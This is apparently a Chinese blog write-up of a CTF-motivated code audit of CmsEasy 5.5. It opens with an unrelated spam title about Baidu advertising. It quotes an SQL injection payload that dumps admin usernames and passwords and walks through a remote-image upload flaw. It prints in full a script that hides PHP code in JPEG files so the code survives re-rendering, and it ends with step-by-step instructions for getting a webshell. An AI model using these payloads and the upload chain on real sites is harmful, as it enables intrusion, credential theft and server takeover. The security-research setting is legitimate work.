網站推廣外包百度推廣怎么才能效果好
前言
這個awd打的悲,后臺默認用戶名密碼為admin:admin
,但是幾乎所有人都改了
而且一進去看到這個cms就有點懵逼,都不知道這個cms是干嘛的(沒用過相似的cms)
雖然網上找出了很多相關的漏洞,但是不知道為什么一個都沒用上,或者說是用不了
所以現在來審計一下這個cms
根據里面的注釋我得出是 v5.5 的版本(雖然不知道有沒有經過bugku的魔改)
不過上面說的版權倒是給我整不會了,有沒有專業(yè)人士說說我這個研究算不算破解,反正網上挺多的
而且bugku也對其進行過修改(awd的時候index.php加了個后門)
路由分析
我進入后臺admin的時候會自動跳轉到 index.php?case=admin&act=login&admin_dir=admin&site=default
據我的經驗,這里用的是參數作為路由
case=admin # 指定類
act=login # 指定類方法
admin_dir=admin
site=default
一切都是由 lib\tool\front_class.php
中的 front
作為引導
index.php
進入該類,找到dispatch函數
method_exists 是 PHP 中的一個內置函數,用于檢查一個類是否包含某個指定的方法(成員函數)。
也就是說 $case
指定類, $method
指定該類的方法
case: admin_act
method: login_action
而這兩個值都由請求參數 case 和 act
決定
但是這個類的路徑在何處呢,我們繼續(xù)追蹤
在 method_exists 的上面,case已經被new過了,當new的時候找不到類時,就觸發(fā)了 __autoload
方法
最后類的路徑是 lib/admin/admin_act.php
為什么會找到這個地方的類,
set_include_path 可以設置文件包含時的路徑,這里設置了 /lib/admin
,而該方法在 front
的初始化函數就被執(zhí)行過了
被設置的路徑在index.php 中也被設置過
set_include_path(ROOT.'/lib/default'.PATH_SEPARATOR.ROOT.'/lib/plugins'.PATH_SEPARATOR.ROOT.'/lib/tool'.PATH_SEPARATOR.ROOT.'/lib/table'.PATH_SEPARATOR.ROOT.'/lib/inc');
也就是參數路由的執(zhí)行函數都在 lib 文件夾中找
后臺登錄分析
既然知道了路由規(guī)則,那么現在看看是否能通過注入到達后端
首先通過審計代碼我們知道一共有三處過濾,第一個是new front的時候 __construct中的過濾
index.php
lib\tool\front_class.php
這里直接對所有GET參數的username過濾了單雙引號導致最后的sql語句無法被閉合,現在我還是沒想到怎么繞過這里,
第一個也是 front中 __construct中的過濾
這里先判斷php是否會自動轉義引號,這里我有必要解釋一下
get_magic_quotes_gpc 是一個 PHP 函數,它在舊版本的 PHP(PHP 5.4 之前)中可用。它用于檢查 PHP 配置中是否啟用了"魔術引號"(Magic Quotes)功能。魔術引號是 PHP 中引入的一個功能,用于自動轉義傳入數據中的字符(例如,來自表單提交或外部來源的數據),以幫助防止 SQL 注入和其他安全漏洞。
如果啟用了魔術引號(get_magic_quotes_gpc() 返回 1 或 true),PHP 會自動在
$_GET、$_POST、$_COOKIE
和 $_REQUEST 數組中的傳入數據添加轉義斜杠(\)。這種轉義是為了使數據在 SQL 查詢中使用時更安全。
如果禁用了魔術引號(get_magic_quotes_gpc() 返回 0 或 false),PHP 不會自動添加轉義斜杠
然而,魔術引號存在許多問題,本函數已自 PHP 7.4.0 起棄用,自 PHP 8.0.0 起移除
回到正題,從上面的代碼看出,上面的代碼對所有請求的參數都進行了引號轉義導致注入困難
第三處過濾
在該路由中獲取數據處,根據前面的規(guī)則,找打該路由
lib\admin\admin_act.php
$user=$user->getrow(array('username'=>front::post('username'),'password'=>md5(front::post('password'))));
這里傳遞的是一個有鍵值的字典
一直跟進
lib\inc\table.php
key進行了html實體的轉義
對key和value都進行了關鍵字過濾
從這三處過濾,我覺得過濾字符串我還是沒啥頭緒,急需指點
celive sql注入
我在一篇文章中找到了sql注入的點
https://vulners.com/seebug/SSV:94004
但是我在里面并沒有注入成功,所以我研究起了代碼
文章給出的exp是這樣的
鏈接:
http://localhost/CmsEasy_5.5_UTF-8_20140718/celive/live/header.php
POST:
xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(username,0x23,password) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#
文章說沒有過濾,但是我在調試時發(fā)現引號被 addslashes 過濾
體現在 celive\include\common.inc.php
中
文章第一個漏洞處體現在 celive\include\xajax.inc.php
文件上傳漏洞
分析
這是在一篇文章看到的
https://www.cnblogs.com/yx20145312/p/7020516.html
起初按照他的做法,確實可以上傳文件,而且后綴也是php
但是…
最終也是執(zhí)行失敗了,而且根本找不到圖片中我設定的 "馬"
最后通過我仔細的源碼審計我發(fā)現…
這里作者將分割符 &
都打成兩個不一樣的字符,復制上去能用才有鬼
而且參數是根據自己的遠程圖片的信息來定的,而就是說這些參數都是變量,都是根據圖片自身來設定,不能完全照抄
所以我們重新來審計一下全過程
漏洞點在 index.php?case=tool&act=cut_image
而根據路由規(guī)則, 這個文件在 tool_act.php 中tool_act
類的 cut_image_action
方法
此漏洞利用需要布置一個ftp服務器,并且需要可以匿名登錄,在匿名用戶的目錄放置一個圖片馬
在window搭建你可以參考這篇文章https://www.cnblogs.com/yx20145312/p/7020516.html
也可以在網上尋找答案
先說一個這個api是干嘛的,這樣才能更好理解漏洞的成因
通過代碼的分析,發(fā)現其是一個裁剪圖片的功能, 至于作者設計時是不是開放遠程還是只針對本地圖片我們就不得而知了
POST : index.php?case=tool&act=cut_imagepic=test.png
w=2 # 輸出圖像的寬
h=2 # 輸出圖像的高
x1=0 # 輸入圖像的 x 軸
y1=0 # 輸入圖像的 y 軸
x2=700 # 輸入圖像的另一個 x 軸
y2=1120 # 輸入圖像的另一個 y 軸
簡單來說, x1,y1,x2,y2
決定了源圖像的大小和位置,而 pic 是我們輸入的圖片
這里給出一次請求
源圖片是這樣的
而裁剪后是這樣的
也就是說
w=100
h=100
x1=0
y1=0
x2=300
y2=300
將一個300 * 300 的圖像(x1,y2,x2,y3
指定),放入了100 * 100 的盒子里(w,h
指定),結果就是等比例縮小了
那么現在看源碼
如果base_url設置空(默認設置為空),那么len變量值就為 1
下面會判斷 pic 參數是否為http,如果不是,就去掉開頭為len長度的變量
比如 len如果為3 pic=123ftp://127.0.0.1
最后就會變成 pic=ftp://127.0.0.1
此時我們的len為1那么只需要在前面填上一個垃圾數據即可
pic=1ftp://127.0.0.1
$thumb->set(front::$post['thumb'],'jpg');
這里獲取文件的一些信息
$img=$thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2'] -$_POST['x1'],$_POST['y2'] -$_POST['y1']);
這里對圖像繼續(xù)裁剪返回一個裁剪后的圖像
這里最終調用的函數其實是這個,你跟進也是能看到的,我的是排版了的
file_put_contents(ROOT.'/'.$save_file,ob_get_contents());
這里對輸出裁剪后的圖像進行保存
困惑
原本我以為到這已經結束了,沒想到真正的后頭戲現在才開始
我發(fā)現上傳上去的圖片馬都被二次渲染了,原本的一句話早已經不見了蹤影
原本的想法是先上傳一張,然后對比裁剪后的看哪里相同,結果發(fā)現,根本沒用…
直覺告訴我,問題就出在 ImageCopyResampled
函數上
于是上網找到了方法
突破php 的imagecopyresampled 和imagecopyresized 實現圖片馬 JPG
但是…
這個腳本告訴我,他失敗了
于是, 我再次遨游于網絡的海洋
功夫不負有心人!上文章
CmsEasy前臺無限制GetShell【Getshell的補充說明】
博客上說,傳遞圖片的時候不能帶路徑,也就是說必須于腳本同一個目錄才能生效
這里說下如何使用腳本
腳本
<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformationscaused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processedimage.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:php jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try anotherinitial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = '<?php phpinfo();?>'; # 這里寫入一句話if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}print_r($argv);// exit;if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp =substr($outStream, 0, $startPos) .$miniPayload .str_repeat("\0",$nullbytePayloadSize) .substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream =substr($outStream, 0, $startPos) .$miniPayload .substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) .substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>
需要先上傳圖片 (需要jpg圖片,這里我改了后綴,其實改不改都可以,最后要給腳本傳遞jpg的圖片)
然后把上傳上去的圖片下載下來作為腳本的參數
然后將圖片放在與腳本同一目錄下
php payload.php 1694764156416.jpg
然后會在目錄下生成一張圖片馬
在把這個圖片馬上傳上去 (我的其他參數沒動)
訪問下圖片馬
別的不說,NB
exp
這里總結一下大概步驟
先準備一張 jpg 類型的圖片,然后上傳到cmseasy,然后下載下來那張上傳后的圖片(此時這張圖片不是原來那張了,而是經過了二次渲染)
將圖片給腳本執(zhí)行(需要與腳本同一目錄
),payload執(zhí)行的語句可以在腳本中修改
將腳本生成的圖片再上傳上去,訪問執(zhí)行